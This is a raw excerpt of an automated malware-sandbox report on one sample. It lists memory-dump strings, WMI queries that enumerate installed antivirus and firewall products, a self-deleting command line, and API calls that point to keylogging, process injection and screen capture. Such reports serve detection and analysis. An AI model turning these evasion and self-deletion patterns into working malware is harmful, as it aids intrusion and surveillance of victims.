"00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found string "Set oReg = GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\default:StdRegProv")" (Indicator: "set "; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found string "set f = filesys.GetFile("" (Indicator: "set "; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp 00000000-00003440.00000001.73903.00F52000.00000020.mdmp 00000000-00003440.00000002.75822.00F52000.00000020.mdmp"), Found string "set objWMIService = GetObject ("winmgmts:")" (Indicator: "set "; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp 00000000-00003440.00000001.73903.00F52000.00000020.mdmp 00000000-00003440.00000002.75822.00F52000.00000020.mdmp"), Found string "set logFile=%TEMP%\proclog.txt" (Indicator: "set "; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp 00000000-00003440.00000001.73903.00F52000.00000020.mdmp 00000000-00003440.00000002.75822.00F52000.00000020.mdmp")31:T7c5,Found reference to API "GetWindowTextW" (Indicator: "GetWindowText"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found reference to API "GetWindowText" (Indicator: "GetWindowText"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found reference to API "FindWindow" (Indicator: "FindWindow"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found reference to API "GetForegroundWindow" (Indicator: "GetForegroundWindow"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found reference to API "FindWindowEx" (Indicator: "FindWindow"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found reference to API "GetWindowTextW" (Indicator: "GetWindowText"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found reference to API "GetWindowText" (Indicator: "GetWindowText"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found reference to API "FindWindow" (Indicator: "FindWindow"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found reference to API "GetForegroundWindow" (Indicator: "GetForegroundWindow"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found reference to API "FindWindowEx" (Indicator: "FindWindow"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp")32:T5ce,Found string "Select * From Win32_Process Where ParentProcessID=" (Indicator: " Win32_Process"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found string "SELECT CommandLine FROM Win32_Process WHERE ProcessId =" (Indicator: " Win32_Process"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found string "SELECT * FROM Win32_Processor" (Indicator: " Win32_Process"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found string "ECT CommandLine FROM Win32_Process WHERE ProcessId =" (Indicator: " Win32_Process"; File: "00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found string "elect * From Win32_Process Where ParentProcessID=" (Indicator: " Win32_Process"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found string "ELECT * FROM Win32_Processor" (Indicator: " Win32_Process"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found string "ELECT CommandLine FROM Win32_Process WHERE ProcessId =" (Indicator: " Win32_Process"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp")33:Tef0,".exe" called "NtQueryInformationProcess" (PID: 3440) (UID: 00000000-00003440) ".exe" called "NtQuerySystemInformation" (PID: 3440) (UID: 00000000-00003440) ".exe" called "NtAllocateVirtualMemory" (PID: 3440) (UID: 00000000-00003440) ".exe" called "NtOpenDirectoryObject" (PID: 3440) (UID: 00000000-00003440) ".exe" called "NtQueryVolumeInformationFile" (PID: 3440) (UID: 00000000-00003440) ".exe" called "NtQueryAttributesFile" (PID: 3440) (UID: 00000000-00003440) ".exe" called "NtCreateSection" (PID: 3440) (UID: 00000000-00003440) ".exe" called "NtMapViewOfSection" (PID: 3440) (UID: 00000000-00003440) ".exe" called "NtDelayExecution" (PID: 3440) (UID: 00000000-00003440) ".exe" called "NtProtectVirtualMemory" (PID: 3440) (UID: 00000000-00003440) ".exe" called "NtOpenSection" (PID: 3440) (UID: 00000000-00003440) ".exe" called "NtRequestWaitReplyPort" (PID: 3440) (UID: 00000000-00003440) ".exe" called "NtOpenFile" (PID: 3440) (UID: 00000000-00003440) ".exe" called "NtQueryInformationFile" (PID: 3440) (UID: 00000000-00003440) ".exe" called "NtOpenKeyEx" (PID: 3440) (UID: 00000000-00003440) ".exe" called "NtEnumerateValueKey" (PID: 3440) (UID: 00000000-00003440) ".exe" called "NtQueryValueKey" (PID: 3440) (UID: 00000000-00003440) ".exe" called "NtCreateMutant" (PID: 3440) (UID: 00000000-00003440) ".exe" called "NtOpenProcessToken" (PID: 3440) (UID: 00000000-00003440) ".exe" called "NtQueryInformationToken" (PID: 3440) (UID: 00000000-00003440) ".exe" called "NtSetInformationProcess" (PID: 3440) (UID: 00000000-00003440) ".exe" called "NtCreateEvent" (PID: 3440) (UID: 00000000-00003440) ".exe" called "NtDeviceIoControlFile" (PID: 3440) (UID: 00000000-00003440) ".exe" called "NtQueryVirtualMemory" (PID: 3440) (UID: 00000000-00003440) ".exe" called "NtCreateFile" (PID: 3440) (UID: 00000000-00003440) ".exe" called "NtUnmapViewOfSection" (PID: 3440) (UID: 00000000-00003440) ".exe" called "NtQueryDefaultLocale" (PID: 3440) (UID: 00000000-00003440) ".exe" called "NtOpenEvent" (PID: 3440) (UID: 00000000-00003440) ".exe" called "NtOpenProcess" (PID: 3440) (UID: 00000000-00003440) ".exe" called "NtCreateThreadEx" (PID: 3440) (UID: 00000000-00003440) ".exe" called "NtResumeThread" (PID: 3440) (UID: 00000000-00003440) ".exe" called "NtOpenThreadToken" (PID: 3440) (UID: 00000000-00003440) ".exe" called "GetProcAddress" (PID: 3440) (UID: 00000000-00003440) ".exe" called "NtQuerySystemTime" (PID: 3440) (UID: 00000000-00003440) ".exe" called "LdrGetProcedureAddress" (PID: 3440) (UID: 00000000-00003440) ".exe" called "NtAlpcSendWaitReceivePort" (PID: 3440) (UID: 00000000-00003440) ".exe" called "LdrGetDllHandle" (PID: 3440) (UID: 00000000-00003440) ".exe" called "NtAlertThread" (PID: 3440) (UID: 00000000-00003440) ".exe" called "NtWaitForMultipleObjects" (PID: 3440) (UID: 00000000-00003440) ".exe" called "NtConnectPort" (PID: 3440) (UID: 00000000-00003440) ".exe" called "NtSetInformationThread" (PID: 3440) (UID: 00000000-00003440) ".exe" called "LdrLoadDll" (PID: 3440) (UID: 00000000-00003440) ".exe" called "NtYieldExecution" (PID: 3440) (UID: 00000000-00003440) ".exe" called "RtlGetNtProductType" (PID: 3440) (UID: 00000000-00003440)34:T412,file/memory contains long string with (Indicator: "GetExecutingAssembly"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found string "GetExecutingAssembly" (Indicator: "GetExecutingAssembly"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") file/memory contains long string with (Indicator: "GetExecutingAssembly"; File: "00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found string "Arguments = "/C choice /C Y /N /D Y /T 3 & Del \"" + System.Reflection.Assembly.GetExecutingAssembly().Location " (Indicator: "GetExecutingAssembly"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp 00000000-00003440.00000001.73903.00F52000.00000020.mdmp 00000000-00003440.00000002.75822.00F52000.00000020.mdmp"), Found string "GetExecutingAssembly" (Indicator: "GetExecutingAssembly"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp 00000000-00003440.00000001.73903.00F52000.00000020.mdmp 00000000-00003440.00000002.75822.00F52000.00000020.mdmp")35:T656,"SELECT Caption FROM Win32_OperatingSystem" (Source: d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin, Indicator: "select caption from win32_operatingsystem") "SELECT * FROM Win32_VideoController" (Source: d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin, Indicator: "select * from win32_videocontroller") "Select * From Win32_Process Where ParentProcessID=" (Source: d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin, Indicator: "select * from win32_process where parentprocessid=") "SELECT CommandLine FROM Win32_Process WHERE ProcessId =" (Source: d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin, Indicator: "select commandline from win32_process where processid =") "SELECT * FROM Win32_BIOS" (Source: 60008f2-_~_, Indicator: "select * from win32_bios") "SELECT * FROM Win32_BaseBoard" (Source: 60008f3-_~_, Indicator: "select * from win32_baseboard") "SELECT * FROM Win32_Processor" (Source: 60008f4-_~_, Indicator: "select * from win32_processor") "Select * From Win32_ComputerSystem" (Source: 60008f5-_~_, Indicator: "select * from win32_computersystem") "SELECT * FROM Win32_DisplayConfiguration" (Source: 60008f6-_~_, Indicator: "select * from win32_displayconfiguration") "SELECT * FROM Win32_OperatingSystem WHERE Primary='true'" (Source: 6000a82-_~_, Indicator: "select * from win32_operatingsystem where primary='true'") "SELECT * FROM AntivirusProduct" (Source: 6000a84-_~_, Indicator: "select * from antivirusproduct") "SELECT * FROM FirewallProduct" (Source: 6000a85-_~_, Indicator: "select * from firewallproduct")36:T7dea,Found reference to API (Indicator: "Sleep"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found reference to API (Indicator: "GetObject"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found reference to API (Indicator: "MessageBox"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found reference to API (Indicator: "GetCurrentProcess"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found reference to API (Indicator: "GetTempPath"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found reference to API (Indicator: "LoadLibraryA"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found reference to API (Indicator: "CreateDC"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found reference to API (Indicator: "DeleteDC"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found reference to API (Indicator: "GetMenuItemID"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found reference to API (Indicator: "CreateDesktopW"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found reference to API (Indicator: "GetWindowTextW"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found reference to API (Indicator: "GetCurrentThreadId"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found reference to API (Indicator: "GetWindowThreadProcessId"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found reference to API (Indicator: "ResumeThread"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found reference to API (Indicator: "ExitThread"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found reference to API (Indicator: "SendMessage"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found reference to API (Indicator: "PostMessage"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found reference to API (Indicator: "GetExtendedTcpTable"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found reference to API (Indicator: "GetEnvironmentVariable"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found reference to API (Indicator: "IsWindowVisible"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found reference to API (Indicator: "GetModuleHandle"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found reference to API (Indicator: "CloseHandle"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found reference to API (Indicator: "DeleteFile"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found reference to API (Indicator: "WriteFile"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found reference to API (Indicator: "URLDownloadToFile"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found reference to API (Indicator: "GetCurrentHwProfile"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found reference to API (Indicator: "QueryFullProcessImageName"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found reference to API (Indicator: "GetTempFileName"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found reference to API (Indicator: "GetKeyboardState"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found reference to API (Indicator: "SetThreadExecutionState"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found reference to API (Indicator: "GetKeyState"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found reference to API (Indicator: "RevertToSelf"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found reference to API (Indicator: "CompareString"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found reference to API (Indicator: "SetWindowLong"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found reference to API (Indicator: "ToAscii"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found reference to API (Indicator: "RtlSetProcessIsCritical"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found reference to API (Indicator: "QueueUserWorkItem"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found reference to API (Indicator: "EnableMenuItem"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found reference to API (Indicator: "DuplicateToken"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found reference to API (Indicator: "NtUnmapViewOfSection"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found reference to API (Indicator: "Wow64DisableWow64FsRedirection"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found reference to API (Indicator: "Wow64RevertWow64FsRedirection"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found reference to API (Indicator: "GetSystemInfo"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found reference to API (Indicator: "SystemParametersInfo"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found reference to API (Indicator: "GetLastInputInfo"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found reference to API (Indicator: "CloseDesktop"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found reference to API (Indicator: "OpenDesktop"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found reference to API (Indicator: "SetCursorPos"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found reference to API (Indicator: "SetWindowPos"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found reference to API (Indicator: "IsWow64Process"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found reference to API (Indicator: "CreateProcess"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found reference to API (Indicator: "GetProcAddress"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found reference to API (Indicator: "EnumDesktopWindows"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found reference to API (Indicator: "GetWindowRect"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found reference to API (Indicator: "BitBlt"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found reference to API (Indicator: "WindowFromPoint"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found reference to API (Indicator: "SendMessageTimeout"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found reference to API (Indicator: "GetKeyboardLayout"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found reference to API (Indicator: "GetWindowText"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found reference to API (Indicator: "Wow64GetThreadContext"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found reference to API (Indicator: "Wow64SetThreadContext"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found reference to API (Indicator: "GetSubMenu"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found reference to API (Indicator: "GetMenu"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found reference to API (Indicator: "FindWindow"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found reference to API (Indicator: "GetForegroundWindow"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found reference to API (Indicator: "SetForegroundWindow"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found reference to API (Indicator: "EnableWindow"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found reference to API (Indicator: "GetConsoleWindow"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found reference to API (Indicator: "GetDesktopWindow"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found reference to API (Indicator: "GetWindow"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found reference to API (Indicator: "RedrawWindow"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found reference to API (Indicator: "ShowWindow"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found reference to API (Indicator: "VirtualAllocEx"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found reference to API (Indicator: "ToUnicodeEx"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found reference to API (Indicator: "UnhookWindowsHookEx"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found reference to API (Indicator: "SetWindowsHookEx"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found reference to API (Indicator: "CallNextHookEx"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found reference to API (Indicator: "FindWindowEx"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found reference to API (Indicator: "MapVirtualKeyEx"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found reference to API (Indicator: "LoadLibrary"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found reference to API (Indicator: "ReadProcessMemory"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found reference to API (Indicator: "WriteProcessMemory"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found reference to API (Indicator: "CreateDirectory"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found reference to API (Indicator: "GetCurrentDirectory"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found reference to API (Indicator: "GetKernelObjectSecurity"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found reference to API (Indicator: "SetKernelObjectSecurity"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found reference to API (Indicator: "SetThreadContext"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found reference to API (Indicator: "GetThreadContext"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found reference to API (Indicator: "ZwUnmapViewOfSection"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found reference to API (Indicator: "CreateProcessA"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found reference to API (Indicator: "Sleep"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found reference to API (Indicator: "GetObject"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found reference to API (Indicator: "MessageBox"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found reference to API (Indicator: "GetCurrentProcess"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found reference to API (Indicator: "GetTempPath"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found reference to API (Indicator: "LoadLibraryA"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found reference to API (Indicator: "CreateDC"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found reference to API (Indicator: "DeleteDC"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found reference to API (Indicator: "GetMenuItemID"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found reference to API (Indicator: "CreateDesktopW"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found reference to API (Indicator: "GetWindowTextW"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found reference to API (Indicator: "GetCurrentThreadId"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found reference to API (Indicator: "GetWindowThreadProcessId"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found reference to API (Indicator: "ResumeThread"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found reference to API (Indicator: "ExitThread"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found reference to API (Indicator: "SendMessage"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found reference to API (Indicator: "PostMessage"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found reference to API (Indicator: "GetExtendedTcpTable"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found reference to API (Indicator: "GetEnvironmentVariable"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found reference to API (Indicator: "IsWindowVisible"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found reference to API (Indicator: "GetModuleHandle"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found reference to API (Indicator: "CloseHandle"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found reference to API (Indicator: "DeleteFile"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found reference to API (Indicator: "WriteFile"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found reference to API (Indicator: "URLDownloadToFile"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found reference to API (Indicator: "GetCurrentHwProfile"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found reference to API (Indicator: "QueryFullProcessImageName"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found reference to API (Indicator: "GetTempFileName"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 